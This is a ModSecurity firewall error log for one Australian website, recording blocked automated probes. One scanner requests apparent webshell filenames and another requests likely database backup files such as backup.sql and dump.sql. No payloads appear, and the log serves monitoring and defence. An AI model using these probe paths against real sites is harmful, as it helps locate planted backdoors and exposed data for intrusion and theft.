[Mon Apr 27 02:09:38.026417 2026] [:error] [pid 8385:tid 8431] [client 74.248.148.150:49399] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/xy.php"] [unique_id "ae5U4jOy7_J84Wx3-oz3bgAAAEc"]
[Mon Apr 27 02:09:38.811164 2026] [:error] [pid 22573:tid 22609] [client 74.248.148.150:3313] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/revealability.php"] [unique_id "ae5U4nB3EmQlD4yKUt894gAAAYM"]
[Mon Apr 27 02:09:39.380703 2026] [:error] [pid 22573:tid 22626] [client 74.248.148.150:52364] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/revealability.php"] [unique_id "ae5U43B3EmQlD4yKUt895AAAAZM"]
[Mon Apr 27 02:09:40.056432 2026] [:error] [pid 8390:tid 8455] [client 74.248.148.150:34224] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/revealability.php"] [unique_id "ae5U5IGPtFK_i9p5yxTIUQAAAIQ"]
[Mon Apr 27 02:09:40.593179 2026] [:error] [pid 8385:tid 8441] [client 74.248.148.150:27367] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/revealability.php"] [unique_id "ae5U5DOy7_J84Wx3-oz3cwAAAFE"]
[Mon Apr 27 02:09:41.302831 2026] [:error] [pid 22573:tid 22618] [client 74.248.148.150:27336] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tox.php"] [unique_id "ae5U5XB3EmQlD4yKUt896AAAAYs"]
[Mon Apr 27 02:09:41.863317 2026] [:error] [pid 22572:tid 22602] [client 74.248.148.150:27332] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tox.php"] [unique_id "ae5U5dXOViWCFU-pZzBg2AAAAVg"]
[Mon Apr 27 02:09:42.505357 2026] [:error] [pid 22573:tid 22613] [client 74.248.148.150:32304] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tox.php"] [unique_id "ae5U5nB3EmQlD4yKUt896QAAAYc"]
[Mon Apr 27 02:09:43.099540 2026] [:error] [pid 22573:tid 22627] [client 74.248.148.150:49367] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/tox.php"] [unique_id "ae5U53B3EmQlD4yKUt896wAAAZQ"]
[Mon Apr 27 02:09:43.644184 2026] [:error] [pid 8385:tid 8448] [client 74.248.148.150:52352] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/packed.php"] [unique_id "ae5U5zOy7_J84Wx3-oz3dwAAAFg"]
[Mon Apr 27 02:09:44.234241 2026] [:error] [pid 22573:tid 22619] [client 74.248.148.150:33541] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/packed.php"] [unique_id "ae5U6HB3EmQlD4yKUt897wAAAYw"]
[Mon Apr 27 02:09:44.781421 2026] [:error] [pid 22573:tid 22609] [client 74.248.148.150:52398] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/packed.php"] [unique_id "ae5U6HB3EmQlD4yKUt898gAAAYM"]
[Mon Apr 27 02:09:45.307324 2026] [:error] [pid 13197:tid 13252] [client 74.248.148.150:33555] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/packed.php"] [unique_id "ae5U6d3kktFKdSxTrBv2BgAAAtQ"]
[Mon Apr 27 02:09:45.974057 2026] [:error] [pid 8383:tid 8401] [client 74.248.148.150:61592] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "ae5U6dFa2S3EsATMdWO3BgAAAAQ"]
[Mon Apr 27 02:09:46.568160 2026] [:error] [pid 8383:tid 8406] [client 74.248.148.150:3273] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/lib.php"] [unique_id "ae5U6tFa2S3EsATMdWO3BwAAAAk"]
[Mon Apr 27 02:09:47.195850 2026] [:error] [pid 13137:tid 13164] [client 74.248.148.150:39243] File does not exist: /usr/local/apache/htdocs/suspended-page/lib.php
[Mon Apr 27 02:09:47.490771 2026] [:error] [pid 13137:tid 13143] [client 74.248.148.150:39243] File does not exist: /usr/local/apache/htdocs/suspended-page/ccu.php
[Mon Apr 27 02:09:47.838546 2026] [:error] [pid 13137:tid 13141] [client 74.248.148.150:39243] File does not exist: /usr/local/apache/htdocs/suspended-page/ffile.php
[Mon Apr 27 02:09:48.133335 2026] [:error] [pid 13137:tid 13158] [client 74.248.148.150:39243] File does not exist: /usr/local/apache/htdocs/suspended-page/class.1.php
[Mon Apr 27 02:09:48.515815 2026] [:error] [pid 13137:tid 13159] [client 74.248.148.150:39243] File does not exist: /usr/local/apache/htdocs/suspended-page/popo.php
[Mon Apr 27 02:09:48.816524 2026] [:error] [pid 13137:tid 13162] [client 74.248.148.150:39243] File does not exist: /usr/local/apache/htdocs/suspended-page/academy.php
[Mon Apr 27 02:09:49.123740 2026] [:error] [pid 13137:tid 13146] [client 74.248.148.150:39243] File does not exist: /usr/local/apache/htdocs/suspended-page/wp-xml.php
[Mon Apr 27 02:09:49.427705 2026] [:error] [pid 13137:tid 13155] [client 74.248.148.150:39243] File does not exist: /usr/local/apache/htdocs/suspended-page/layout.php
[Mon Apr 27 02:09:49.722141 2026] [:error] [pid 13137:tid 13151] [client 74.248.148.150:39243] File does not exist: /usr/local/apache/htdocs/suspended-page/txets.php
[Mon Apr 27 02:09:50.069620 2026] [:error] [pid 13137:tid 13163] [client 74.248.148.150:39243] File does not exist: /usr/local/apache/htdocs/suspended-page/Sanskrit.php
[Mon Apr 27 02:09:50.364288 2026] [:error] [pid 13137:tid 13164] [client 74.248.148.150:39243] File does not exist: /usr/local/apache/htdocs/suspended-page/kikikoko.php
[Mon Apr 27 02:09:50.655521 2026] [:error] [pid 13137:tid 13145] [client 74.248.148.150:39243] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/opts.php"] [unique_id "ae5U7t0RB4J0o4h5neHN-QAAAgU"]
[Mon Apr 27 02:09:51.229388 2026] [:error] [pid 13137:tid 13161] [client 74.248.148.150:43102] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/opts.php"] [unique_id "ae5U790RB4J0o4h5neHN-gAAAhQ"]
[Mon Apr 27 02:09:52.030570 2026] [:error] [pid 8390:tid 8461] [client 74.248.148.150:3306] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/opts.php"] [unique_id "ae5U8IGPtFK_i9p5yxTIVgAAAIo"]
[Mon Apr 27 02:09:52.614153 2026] [:error] [pid 16515:tid 16530] [client 74.248.148.150:32310] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/opts.php"] [unique_id "ae5U8FtDrUmgHSvpuLxsUwAAAkw"]
[Mon Apr 27 02:09:53.382766 2026] [:error] [pid 16515:tid 16538] [client 74.248.148.150:49368] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ouh.php"] [unique_id "ae5U8VtDrUmgHSvpuLxsVAAAAlQ"]
[Mon Apr 27 02:09:53.948924 2026] [:error] [pid 16515:tid 16536] [client 74.248.148.150:49380] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ouh.php"] [unique_id "ae5U8VtDrUmgHSvpuLxsVQAAAlI"]
[Mon Apr 27 02:09:54.477513 2026] [:error] [pid 8383:tid 8419] [client 74.248.148.150:32261] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ouh.php"] [unique_id "ae5U8tFa2S3EsATMdWO3DAAAABY"]
[Mon Apr 27 02:09:55.066508 2026] [:error] [pid 8383:tid 8412] [client 74.248.148.150:45381] [client 74.248.148.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "windfarmcoolants.com.au"] [uri "/ouh.php"] [unique_id "ae5U89Fa2S3EsATMdWO3DQAAAA8"]
[Mon Apr 27 02:41:21.236510 2026] [:error] [pid 8491:tid 8519] [client 35.178.52.91:63781] [client 35.178.52.91] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||windfarmcoolants.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "windfarmcoolants.com.au"] [uri "/1.sql"] [unique_id "ae5cUSq7I7e6CJooQM1DAwAAANQ"]
[Mon Apr 27 02:41:24.914820 2026] [:error] [pid 8383:tid 8409] [client 35.178.52.91:64013] [client 35.178.52.91] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||windfarmcoolants.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "windfarmcoolants.com.au"] [uri "/backup.sql"] [unique_id "ae5cVNFa2S3EsATMdWO_1wAAAAw"]
[Mon Apr 27 02:41:29.428782 2026] [:error] [pid 16515:tid 16528] [client 35.178.52.91:64337] [client 35.178.52.91] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||windfarmcoolants.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "windfarmcoolants.com.au"] [uri "/database.sql"] [unique_id "ae5cWVtDrUmgHSvpuLxv6wAAAko"]
[Mon Apr 27 02:41:33.094118 2026] [:error] [pid 13197:tid 13255] [client 35.178.52.91:64611] [client 35.178.52.91] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||windfarmcoolants.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "windfarmcoolants.com.au"] [uri "/data.sql"] [unique_id "ae5cXd3kktFKdSxTrBv4_AAAAtc"]
[Mon Apr 27 02:41:35.501823 2026] [:error] [pid 8385:tid 8440] [client 35.178.52.91:64795] [client 35.178.52.91] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||windfarmcoolants.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "windfarmcoolants.com.au"] [uri "/db_backup.sql"] [unique_id "ae5cXzOy7_J84Wx3-oz6zgAAAFA"]
[Mon Apr 27 02:41:38.130718 2026] [:error] [pid 16515:tid 16520] [client 35.178.52.91:64956] [client 35.178.52.91] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||windfarmcoolants.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "windfarmcoolants.com.au"] [uri "/dbdump.sql"] [unique_id "ae5cYltDrUmgHSvpuLxv9gAAAkI"]
[Mon Apr 27 02:41:42.767245 2026] [:error] [pid 8491:tid 8516] [client 35.178.52.91:65295] [client 35.178.52.91] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||windfarmcoolants.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "windfarmcoolants.com.au"] [uri "/db.sql"] [unique_id "ae5cZiq7I7e6CJooQM1DJQAAANE"]
[Mon Apr 27 02:41:47.180140 2026] [:error] [pid 22573:tid 22606] [client 35.178.52.91:49209] [client 35.178.52.91] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||windfarmcoolants.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "windfarmcoolants.com.au"] [uri "/dump.sql"] [unique_id "ae5ca3B3EmQlD4yKUt9C1QAAAYA"]
[Mon Apr 27 02:41:49.815065 2026] [:error] [pid 13137:tid 13161] [client 35.178.52.91:49405] [client 35.178.52.91] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||windfarmcoolants.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "windfarmcoolants.com.au"] [uri "/windfarmcoolants.sql"] [unique_id "ae5cbd0RB4J0o4h5neHZnwAAAhQ"]
[Mon Apr 27 02:42:00.607460 2026] [:error] [pid 16515:tid 16539] [client 35.178.52.91:50148] [client 35.178.52.91] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||windfarmcoolants.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "windfarmcoolants.com.au"] [uri "/windfarmcoolants_db.sql"] [unique_id "ae5ceFtDrUmgHSvpuLxwFAAAAlU"]
[Mon Apr 27 02:42:06.841056 2026] [:error] [pid 8491:tid 8503] [client 35.178.52.91:50608] [client 35.178.52.91] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||windfarmcoolants.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "windfarmcoolants.com.au"] [uri "/localhost.sql"] [unique_id "ae5cfiq7I7e6CJooQM1DVgAAAMQ"]
[Mon Apr 27 02:42:16.782026 2026] [:error] [pid 13137:tid 13141] [client 35.178.52.91:51335] [client 35.178.52.91] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||windfarmcoolants.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "windfarmcoolants.com.au"] [uri "/mysqldump.sql"] [unique_id "ae5ciN0RB4J0o4h5neHZ7gAAAgE"]
[Mon Apr 27 02:42:23.088311 2026] [:error] [pid 13137:tid 13158] [client 35.178.52.91:51786] [client 35.178.52.91] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||windfarmcoolants.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "windfarmcoolants.com.au"] [uri "/mysql.sql"] [unique_id "ae5cj90RB4J0o4h5neHZ8gAAAhE"]
[Mon Apr 27 02:42:29.742649 2026] [:error] [pid 8390:tid 8451] [client 35.178.52.91:52244] [client 35.178.52.91] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||windfarmcoolants.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "windfarmcoolants.com.au"] [uri "/site.sql"] [unique_id "ae5clYGPtFK_i9p5yxTOZQAAAIA"]
[Mon Apr 27 02:42:31.884623 2026] [:error] [pid 13137:tid 13152] [client 35.178.52.91:52388] [client 35.178.52.91] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||windfarmcoolants.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "windfarmcoolants.com.au"] [uri "/sql.sql"] [unique_id "ae5cl90RB4J0o4h5neHZ9wAAAgs"]
[Mon Apr 27 02:42:35.960990 2026] [:error] [pid 8390:tid 8452] [client 35.178.52.91:52678] [client 35.178.52.91] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||windfarmcoolants.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "windfarmcoolants.com.au"] [uri "/temp.sql"] [unique_id "ae5cm4GPtFK_i9p5yxTObAAAAIE"]
[Mon Apr 27 02:42:47.805751 2026] [:error] [pid 8390:tid 8455] [client 35.178.52.91:53437] [client 35.178.52.91] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||windfarmcoolants.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "windfarmcoolants.com.au"] [uri "/translate.sql"] [unique_id "ae5cp4GPtFK_i9p5yxTOfgAAAIQ"]
[Mon Apr 27 02:42:51.242312 2026] [:error] [pid 13137:tid 13156] [client 35.178.52.91:53725] [client 35.178.52.91] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||windfarmcoolants.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "windfarmcoolants.com.au"] [uri "/users.sql"] [unique_id "ae5cq90RB4J0o4h5neHaBQAAAg8"]
[Mon Apr 27 02:42:53.897168 2026] [:error] [pid 22573:tid 22619] [client 35.178.52.91:53900] [client 35.178.52.91] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||windfarmcoolants.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "windfarmcoolants.com.au"] [uri "/www.sql"] [unique_id "ae5crXB3EmQlD4yKUt9C-gAAAYw"]
[Mon Apr 27 02:42:59.326946 2026] [:error] [pid 16515:tid 16521] [client 35.178.52.91:54268] [client 35.178.52.91] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||windfarmcoolants.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/uploads/dump.sql"] [unique_id "ae5cs1tDrUmgHSvpuLxwnQAAAkM"]
[Mon Apr 27 02:43:04.276214 2026] [:error] [pid 22573:tid 22629] [client 35.178.52.91:54574] [client 35.178.52.91] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||windfarmcoolants.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "windfarmcoolants.com.au"] [uri "/wp-content/mysql.sql"] [unique_id "ae5cuHB3EmQlD4yKUt9DCAAAAZY"]
[Mon Apr 27 02:43:07.248703 2026] [:error] [pid 8491:tid 8523] [client 35.178.52.91:54735] [client 35.178.52.91] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||windfarmcoolants.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "windfarmcoolants.com.au"] [uri "/backup/db.sql"] [unique_id "ae5cuyq7I7e6CJooQM1ECgAAANc"]
[Mon Apr 27 02:43:15.405601 2026] [:error] [pid 22573:tid 22618] [client 35.178.52.91:55264] [client 35.178.52.91] ModSecurity: Access denied with code 403 (phase 2). Match of "pmFromFile userdata_wl_extensions" against "TX:extension" required. [file "/usr/local/apache/modsecurity-cwaf/rules/10_HTTP_HTTP.conf"] [line "27"] [id "210730"] [rev "5"] [msg "COMODO WAF: URL file extension is restricted by policy||windfarmcoolants.com.au|F|2"] [data ".sql"] [severity "CRITICAL"] [tag "CWAF"] [tag "HTTP"] [hostname "windfarmcoolants.com.au"] [uri "/backup/database.sql"] [unique_id "ae5cw3B3EmQlD4yKUt9DMQAAAYs"]
